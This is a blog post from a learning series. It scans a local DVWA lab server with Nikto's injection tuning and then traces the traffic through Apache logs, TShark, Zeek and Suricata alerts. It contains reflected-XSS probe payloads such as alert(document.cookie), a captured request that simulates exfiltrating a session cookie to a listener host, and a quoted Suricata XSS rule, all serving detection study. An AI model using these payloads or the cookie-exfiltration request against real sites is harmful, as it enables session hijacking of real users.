This post is part of the series of learning more about Nikto and web application scanning from the perspectives of both the hack and its detection.
From the hacking perspective, Nikto is the tool used. From detection perspective, the tools and or processed used for the network forensics are log analysis, TShark, Zeek and Suricata.
Posts in this series:
The hack - Testing for injection types of attacks.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ nikto -host http://10.0.0.106/dvwa -ipv4 -Display 2 --ask no -Format json -o /tmp/nikto.json -nossl -no404 -Tuning 4 -evasion 3 - Nikto v2.5.0 --------------------------------------------------------------------------- + /%20HTTP/1.1%0d%0aAccept%3a%209dezoCMqi7/../../dvwa/ sent cookie: security=low; path=/ + /%20HTTP/1.1%0d%0aAccept%3a%209dezoCMqi7/../../dvwa/ sent cookie: PHPSESSID=6d25e0unoqrfr1822r98chsjr3; expires=Sat, 03-Jun-2023 17:37:21 GMT; Max-Age=86400; path=/ + Target IP: 10.0.0.106 + Target Hostname: 10.0.0.106 + Target Port: 80 + Using Encoding: Premature URL ending + Start Time: 2023-06-02 13:37:42 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 + /dvwa/cgi.cgi/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options ... + /%20HTTP/1.1%0d%0aAccept%3a%20p2zcHyr0eeyZKdsykh/../../dvwa/ sent cookie: security=low; path=/ + /%20HTTP/1.1%0d%0aAccept%3a%20p2zcHyr0eeyZKdsykh/../../dvwa/ sent cookie: PHPSESSID=jaes6gbb1elm9qft6eti7nbrl8; expires=Sat, 03-Jun-2023 17:37:21 GMT; Max-Age=86400; path=/ + /dvwa/: Retrieved x-powered-by header: PHP/8.0.28. + /dvwa/: Cookie security created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /dvwa/: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies ... + /%20HTTP/1.1%0d%0aAccept%3a%20ru6vqb1X2lXvU6PYe/../../dvwa/index.php?option=search&searchword=<script>alert(document.cookie);</script> sent cookie: security=low; path=/ + /%20HTTP/1.1%0d%0aAccept%3a%20n6qmprr4FiSvDr7/../../dvwa/index.php?dir=<script>alert('Vulnerable')</script> sent cookie: security=low; path=/ ... + /%20HTTP/1.1%0d%0aAccept%3a%20XUyeQs43O3P6ka/../../dvwa/phpinfo.php?cx[]=rYLxwx...zxZ2HcuXX<script>alert(foo)</script> sent cookie: PHPSESSID=adhqsj51ur05nph7mitqi9kfvc; expires=Sat, 03-Jun-2023 17:37:25 GMT; Max-Age=86400; path=/ + /%20HTTP/1.1%0d%0aAccept%3a%20OME1Ins6pMdk8/../../dvwa/?xmlcontrol=body%20onload=alert(123) sent cookie: security=low; path=/ + 958 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2023-06-02 13:37:45 (GMT-4) (3 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ---------------------------------------------------------------------------
From above, I was surprised to see some of the parameters such as "index.php?dir=<script>alert('Vulnerable')</script>" sending the cookie. This caught me off guard as looking at the source of index.php does not show those parameters. Maybe I need to expand my knowledge on HTTP to get a better understanding of what transpired there.
Here are some of the unique parameters that were passed and their values. I'm going assume most of these are just values from the Nikto tool and not something it learned about from the page.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat tuning_4.txt | grep --perl-regexp 'index.php\?.*?</script>|phpinfo.php\?.*?</script>' --only-matching | \
head --lines=20 | sort --unique index.php?action=search&searchFor=\"><script>alert('Vulnerable')</script> index.php?action=storenew&username=<script>alert('Vulnerable')</script> index.php?dir=<script>alert('Vulnerable')</script> index.php?err=3&email=\"><script>alert(document.cookie)</script> index.php?file=Liens&op=\"><script>alert('Vulnerable');</script> index.php?option=search&searchword=<script>alert(document.cookie);</script> index.php?rep=<script>alert(document.cookie)</script> index.php?vo=\"><script>alert(document.cookie);</script> phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script> phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>
Time to transition to the log analysis to see if this will help my learnings.
To get more of attacking and detecting cross site scripting, see:
Learning by practicing: Beginning Web Application Testing - Cross Site Scripting (XSS)–DVWA (securitynik.com)
Detect - Log Analysis
Time to understand from the logs, what this Nikto attack look like
Looking at the first 3 entries in the access log
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ head access.log --lines=3 10.0.0.108 - - [02/Jun/2023:13:37:21 -0400] "GET /%20HTTP/1.1%0d%0aAccept%3a%20oJaLwmzNOomj5k/../../ HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 10.0.0.108 - - [02/Jun/2023:13:37:21 -0400] "GET /%20HTTP/1.1%0d%0aAccept%3a%209dezoCMqi7/../../dvwa/ HTTP/1.1" 200 5960 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 10.0.0.108 - - [02/Jun/2023:13:37:21 -0400] "GET /%20HTTP/1.1%0d%0aAccept%3a%20XvKT1obCp7xvYUFzg5/../../dvwa/cgi.cgi/ HTTP/1.1" 404 297 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
Looking at the HTTP methods.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat access.log | cut --fields 2 --delimiter '"' | cut -f 1 -d ' ' | sort | uniq --count | sort --numeric-sort --reverse 939 GET 9 POST 2 TRACK 2 OPTIONS 1 XULKCYAP 1 TRACE 1 <script>alert(1)</script> 1 PUT 1 PROPFIND 1 DEBUG
Looking at the response codes, we see 33 200. There are definitely also some interesting response returned where the response codes should have been. Maybe that was poor filtering on my part. However, this is not a major concern at this time.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat access.log | cut --fields 3 --delimiter '"' | cut --fields=2 --delimiter=' ' | sort | uniq --count | sort --numeric-sort --reverse 821 404 54 HTTP/1.1 33 200 17 403 9 Vulnerable\\\ 5 test\\\ 4 400 4 301 3 <script>alert('Vulnerable')</script>\\\ 1 ><script>alert(1)/script><\\\ 1 ><Img%20Src=javascript:alert('Vulnerable')><Img%20Src=\\\ 1 ><img%20src=\\\ 1 hello\\\ 1 417 1 405 1 302 1 >\\\
The script tag is definitely a cause for concern in this case.
Peeking at a the first 5 records
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat access.log | grep --perl-regexp "\s+200\s+" | cut --fields=2- --delimiter='"' | awk --field-separator=' 200 ' '{ print $1 }' | grep "script" --color=always | head --lines=5 GET /%20HTTP/1.1%0d%0aAccept%3a%20ru6vqb1X2lXvU6PYe/../../dvwa/index.php?option=search&searchword=<script>alert(document.cookie);</script> HTTP/1.1" GET /%20HTTP/1.1%0d%0aAccept%3a%20n6qmprr4FiSvDr7/../../dvwa/index.php?dir=<script>alert('Vulnerable')</script> HTTP/1.1" GET /%20HTTP/1.1%0d%0aAccept%3a%20qMTw97IoYwjs/../../dvwa/phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script> HTTP/1.1" GET /%20HTTP/1.1%0d%0aAccept%3a%206aNVKEwARt/../../dvwa/index.php?top_message=<script>alert(document.cookie)</script> HTTP/1.1" GET /%20HTTP/1.1%0d%0aAccept%3a%20j7vq9Hi1xXNr4X/../../dvwa/index.php?file=Liens&op=\\\"><script>alert('Vulnerable');</script> HTTP/1.1"
I must admit, I was surprised to see status code 200 for those entries above as, when I searched "index.php", I don't see any of those parameters, i.e. "option", "file", "dir", etc.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ curl --request GET "http://10.0.0.106/dvwa/index.php" --silent | grep --perl-regexp --ignore-case 'type="text".*("action"|"searchFor"|"username"|"dir"|"err"|"file"|"op"|"rep"|"vo"|"GLOBALS[test]"|"VARIABLE")' | wc --lines 0
To validate some of my knowledge, I used non existent parameters to target the site directly and still got status 200.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ curl --request GET http://10.0.0.106//dvwa/index.php?NonExistentShit=FalseFlags --remote-name --silent
This produced:
10.0.0.107 - - [05/Jun/2023:14:09:44 -0400] "GET //dvwa/index.php?NonExistentShit=FalseFlags HTTP/1.1" 200 5960 "-" "curl/7.88.1"
At this point, I'm going to conclude the 200 was returned for the page and not the parameter.
Peeking at the first few lines of the error.log file, looking for which attempt was made to run the script on.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat error.log | grep "10.0.0.108" | grep --perl-regexp "\s+script.*" | head --lines=5 [Fri Jun 02 13:37:21.898886 2023] [cgi:error] [pid 7548:tid 1864] [client 10.0.0.108:55840] AH02811: script not found or unable to stat: C:/xampp/htdocs/dvwa/cgi.cgi [Fri Jun 02 13:37:23.506008 2023] [cgi:error] [pid 7548:tid 1864] [client 10.0.0.108:55874] AH02811: script not found or unable to stat: C:/xampp/htdocs/dvwa/index.asp [Fri Jun 02 13:37:23.506008 2023] [cgi:error] [pid 7548:tid 1864] [client 10.0.0.108:55874] AH02811: script not found or unable to stat: C:/xampp/htdocs/dvwa/junk999.asp [Fri Jun 02 13:37:23.522563 2023] [cgi:error] [pid 7548:tid 1864] [client 10.0.0.108:55874] AH02811: script not found or unable to stat: C:/xampp/htdocs/dvwa/login.asp [Fri Jun 02 13:37:23.637381 2023] [cgi:error] [pid 7548:tid 1864] [client 10.0.0.108:47494] AH02811: script not found or unable to stat: C:/xampp/htdocs/dvwa/index.cgi ...
Above shows "script not found". How many of those "script not found" do we have?
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat error.log | grep "10.0.0.108" | grep --perl-regexp "\s+script.*" --only-matching | sort --unique | cut --fields=2 --delimiter='C' | cut --fields=1 --delimiter="'" | cut --fields=1 --delimiter=',' | sort --unique | wc --lines 93
With 93 files accessed, was any "found"? Invert the "grep".
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat error.log | grep "10.0.0.108" | grep --perl-regexp "\s+script.*" --invert-match | \
grep --perl-regexp "Cannot\s+map|s+GET" [Fri Jun 02 13:37:24.113277 2023] [core:error] [pid 7548:tid 1864] (20024)The given path is misformatted or contained invalid characters: [client 10.0.0.108:47510] AH00127: Cannot map GET /%20HTTP/1.1%0d%0aAccept%3a%20RIxToXpAUn2JvPd87/../../dvwa/666%0a%0a<script>alert('Vulnerable');</script>666.jsp HTTP/1.1 to file ...
Removing those cannot map messages.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat error.log | grep "10.0.0.108" | grep --perl-regexp "\s+script.*" --invert-match | \
grep --perl-regexp "Cannot\s+map|s+GET" --invert-match [Fri Jun 02 13:37:23.522563 2023] [php:warn] [pid 7548:tid 1864] [client 10.0.0.108:55874] PHP Warning: Undefined array key "HTTP_HOST" in C:\\xampp\\htdocs\\dvwa\\dvwa\\includes\\dvwaPage.inc.php on line 45 ...
At this point, I have not seen anything in the error.log that suggest this attack was successful. We know we can see lots of "<script>alert('Vulnerable')</script>" which definitely suggest we should be concerned about the source IP involved with this activity. However, we have to work with the evidence we currently have and not what we want.
To see more on log analysis for Cross Site scripting: Learning by practicing: Beginning Web Application Testing: Detecting Cross Site Scripting (XSS)–DVWA (securitynik.com)
Detect - Packet Analysis
Setup for packet analysis. Capture packets on ports 80,443
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ tshark -n -w tuning_1.pcap -f 'tcp port(80 or 443)' --interface eth0
What did we get from the capture.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ tshark -n -r tuning_4.pcap -Y 'http.response.code == 200' -T fields -e tcp.stream| sort --unique 0 10 11 12 13 4 5 6 7 8 9
Looking at stream 0 with the query below, did not produce any results I found meaningful.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ tshark -n -r tuning_4.pcap -q -z follow,tcp,ascii,4 | grep --perl-regexp "\s+200|s+OK" --before-context=7 --after-context=11
This stream did not produce the resulted that I expected. As a result, I decided to simulate stealing the cookie via cross scripting from a different perspective. When I looked at the packet capture, I see the cookie is sent via the GET request.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4]
└─$ tshark -n -r xss.pcap -q -z follow,tcp,ascii,1 | sed '1,7d' | sed '$d'
GET /steal.txt?security=low;%20PHPSESSID=c9nho1bvu73dg6baehjo2vjgcn HTTP/1.1
Host: 10.0.0.107:9999
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Edg/101.0.1210.32
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.0.0.106/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Wrapping this up. In my opinion, the cookie which was returned was not a cookie that was stolen but instead the cookie which was part of the Nikto session.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4]
└─$ strings tuning_4.pcap | grep "3a%209dezoCMqi7" --after-context=10
GET /%20HTTP/1.1%0d%0aAccept%3a%209dezoCMqi7/../../dvwa/ HTTP/1.1
Host: 10.0.0.106
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
HTTP/1.1 200 OK
Date: Fri, 02 Jun 2023 17:37:21 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
X-Powered-By: PHP/8.0.28
Set-Cookie: security=low; path=/
Set-Cookie: PHPSESSID=6d25e0unoqrfr1822r98chsjr3; expires=Sat, 03-Jun-2023 17:37:21 GMT; Max-Age=86400; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Moving on now.
Detect - Zeek Analysis
Setup Zeek
┌──(kali㉿securitynik)-[~/nikto_stuff/zeek_stuff] └─$ sudo zeek --iface any --no-checksums
Looking at the analyzer.log file
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat analyzer.log ... #open 2023-06-02-13-37-45 #fields ts cause analyzer_kind analyzer_name uid fuid id.orig_h id.orig_p id.resp_h id.resp_p failure_reason failure_data #types time string string string string string addr port addr port string string 1685727465.687074 violation protocol HTTP CvBOhB3P4vU8YucCt6 - 10.0.0.108 47542 10.0.0.106 80 not a http request line - #close 2023-06-02-13-37-53
Above shows traffic between two hosts occurring on port 80, typically HTTP, but we see "failure_reason" as "not a http request line".
Looking at UID "CvBOhB3P4vU8YucCt6" to find which other logs this UID is seen in.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ grep "CvBOhB3P4vU8YucCt6" *.log | cut --fields=1 --delimiter=":" | sort --unique analyzer.log conn.log dpd.log files.log http.log weird.log
Looking at the weird.log
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat weird.log #fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p name addl notice peer source 1685727464.327551 CdCvW413cTsQUyb9lf 10.0.0.108 55874 10.0.0.106 80 HTTP_version_mismatch - F zeek HTTP 1685727464.641628 CZCM3y1MlJGfr3DZ27 10.0.0.108 47496 10.0.0.106 80 unknown_HTTP_method XULKCYAP F zeek - 1685727464.659445 CcdKGV3GMXMm4z9kI4 10.0.0.108 47504 10.0.0.106 80 unknown_HTTP_method TRACK F zeek - 1685727464.664164 CcdKGV3GMXMm4z9kI4 10.0.0.108 47504 10.0.0.106 80 HTTP_version_mismatch - F zeek HTTP 1685727464.950085 C4Ed651QVcleVPgo29 10.0.0.108 47520 10.0.0.106 80 unescaped_%_in_URI - F zeek HTTP 1685727465.454423 CmYMGa2Q3SpVd9r26d 10.0.0.108 47532 10.0.0.106 80 unescaped_%_in_URI - F zeek HTTP 1685727465.687074 CvBOhB3P4vU8YucCt6 10.0.0.108 47542 10.0.0.106 80 bad_HTTP_request_with_version - F zeek HTTP
While other lines are interesting and helpful, especially seeing unknown methods, the one that I will focus on is the last line. This was seen in the analyzer.log and we see this is "bad_HTTP_request_with_version"
Looking at the last 5 entries in the http.log.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ grep "CvBOhB3P4vU8YucCt6" http.log | grep --perl-regexp "/dvwa.*.?>" --only-matching | sort --unique | tail --lines=5 /dvwa/webtools/bonsai/cvsquery.cgi?branch=<script>alert('Vulnerable')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script> /dvwa/webtools/bonsai/cvsquery.cgi?module=<script>alert('Vulnerable')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script> /dvwa/webtools/bonsai/cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('Vulnerable')</script> /dvwa/webtools/bonsai/showcheckins.cgi?person=<script>alert('Vulnerable')</script> /dvwa/XJjRNFyhnLKaf4qbov1ToCeQUomdYA2Vj5S8TQBAEPOiEsXu4umBXddFMlvLzvZm6sPqllgtuX6TeLlDSSwVmLb490LxkJgeX2NnGsvgESafjKPUIHOYLmSAz5NFPDOc1qhQPE8ZSC26h12u9d1a987Zqbik1erQMssHWPByVRRo6zKaA9cp5A7SAijWurFZWxhXOp38ChVSiuQULsVXLS7wZCWWlVZ<font size=50><script>alert(11)</script>
Above all shows, this was a cross site scripting attack, against a few different parameters. The question obviously, is whether this was successful. Everything in the analysis so far suggest it was not.
Moving on to see what the IPS saw throughout this attack.
Detect - Suricata (IDS) Analysis
Setup Suricata to operate in IDS mode
┌──(kali㉿securitynik)-[/var/log/suricata] └─$ sudo suricata -c /etc/suricata/suricata.yaml -s /var/lib/suricata/rules/suricata.rules -i eth0 -l . --simulate-ips -k all
Looking at the alerts that triggered.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ cat fast.log | cut --fields=3 --delimiter='[' | sort | uniq --count | sort --numeric-sort --reverse | head --lines=5 265 1:2009714:8] ET WEB_SERVER Script tag in URI Possible Cross Site Scripting Attempt 39 1:2022028:2] ET WEB_SERVER Possible CVE-2014-6271 Attempt 19 1:2101201:11] GPL WEB_SERVER 403 Forbidden 9 1:2021005:3] ET WEB_SPECIFIC_APPS Vulnerable Magento Adminhtml Access 4 1:2019526:5] ET WEB_SERVER WEB-PHP phpinfo access
Above shows the majority of them were associated with 1 rule "1:2009714:8". This is what I expected to see as the activity performed above was cross site scripting. What is that rule looking for.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ grep "2009714" /var/lib/suricata/rules/suricata.rules alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Script tag in URI Possible Cross Site Scripting Attempt"; flow:to_server,established; http.uri; content:"</script>"; nocase; reference:url,ha.ckers.org/xss.html; reference:url,doc.emergingthreats.net/2009714; classtype:web-application-attack; sid:2009714; rev:8; metadata:affected_product Web_Server_Applications, attack_target Web_Server, created_at 2010_07_30, deployment Datacenter, former_category WEB_SERVER, signature_severity Major, tag XSS, tag Cross_Site_Scripting, updated_at 2020_08_20;)
Above shows the rule is basically looking for "</script>" in the URI. Looking into the packet where "</script>" was seen in the URI.
┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_4] └─$ less alert-debug.log ... ALERT CNT: 1 ALERT MSG [00]: ET WEB_SERVER Script tag in URI Possible Cross Site Scripting Attempt ALERT GID [00]: 1 ALERT SID [00]: 2009714 ALERT REV [00]: 8 ALERT CLASS [00]: Web Application Attack ALERT PRIO [00]: 1 ALERT FOUND IN [00]: STATE ALERT IN TX [00]: 27 PAYLOAD LEN: 341 PAYLOAD: 0000 47 45 54 20 2F 25 32 30 48 54 54 50 2F 31 2E 31 GET /%20 HTTP/1.1 0010 25 30 64 25 30 61 41 63 63 65 70 74 25 33 61 25 %0d%0aAc cept%3a% 0020 32 30 73 7A 51 72 5A 76 56 6F 66 6D 47 57 4D 2F 20szQrZv VofmGWM/ 0030 2E 2E 2F 2E 2E 2F 64 76 77 61 2F 74 68 65 6D 65 ../../dv wa/theme 0040 73 2F 6D 61 6D 62 6F 73 69 6D 70 6C 65 2E 70 68 s/mambos imple.ph 0050 70 3F 64 65 74 65 63 74 69 6F 6E 3D 64 65 74 65 p?detect ion=dete 0060 63 74 65 64 26 73 69 74 65 6E 61 6D 65 3D 3C 2F cted&sit ename=</ 0070 74 69 74 6C 65 3E 3C 73 63 72 69 70 74 3E 61 6C title><s cript>al 0080 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F ert(docu ment.coo 0090 6B 69 65 29 3C 2F 73 63 72 69 70 74 3E 20 48 54 kie)</sc ript> HT 00A0 54 50 2F 31 2E 31 0D 0A 43 6F 6E 6E 65 63 74 69 TP/1.1.. Connecti 00B0 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A on: Keep -Alive.. 00C0 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 User-Age nt: Mozi 00D0 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 lla/5.0 (Windows 00E0 20 4E 54 20 31 30 2E 30 3B 20 57 69 6E 36 34 3B NT 10.0 ; Win64; 00F0 20 78 36 34 29 20 41 70 70 6C 65 57 65 62 4B 69 x64) Ap pleWebKi 0100 74 2F 35 33 37 2E 33 36 20 28 4B 48 54 4D 4C 2C t/537.36 (KHTML, 0110 20 6C 69 6B 65 20 47 65 63 6B 6F 29 20 43 68 72 like Ge cko) Chr 0120 6F 6D 65 2F 37 34 2E 30 2E 33 37 32 39 2E 31 36 ome/74.0 .3729.16 0130 39 20 53 61 66 61 72 69 2F 35 33 37 2E 33 36 0D 9 Safari /537.36. 0140 0A 48 6F 73 74 3A 20 31 30 2E 30 2E 30 2E 31 30 .Host: 1 0.0.0.10 0150 36 0D 0A 0D 0A 6.... ...
Above shows the packet and what the rule matched on.
Nothing else interesting for me to focus on at this time.
Hope you enjoyed the posts in this series:
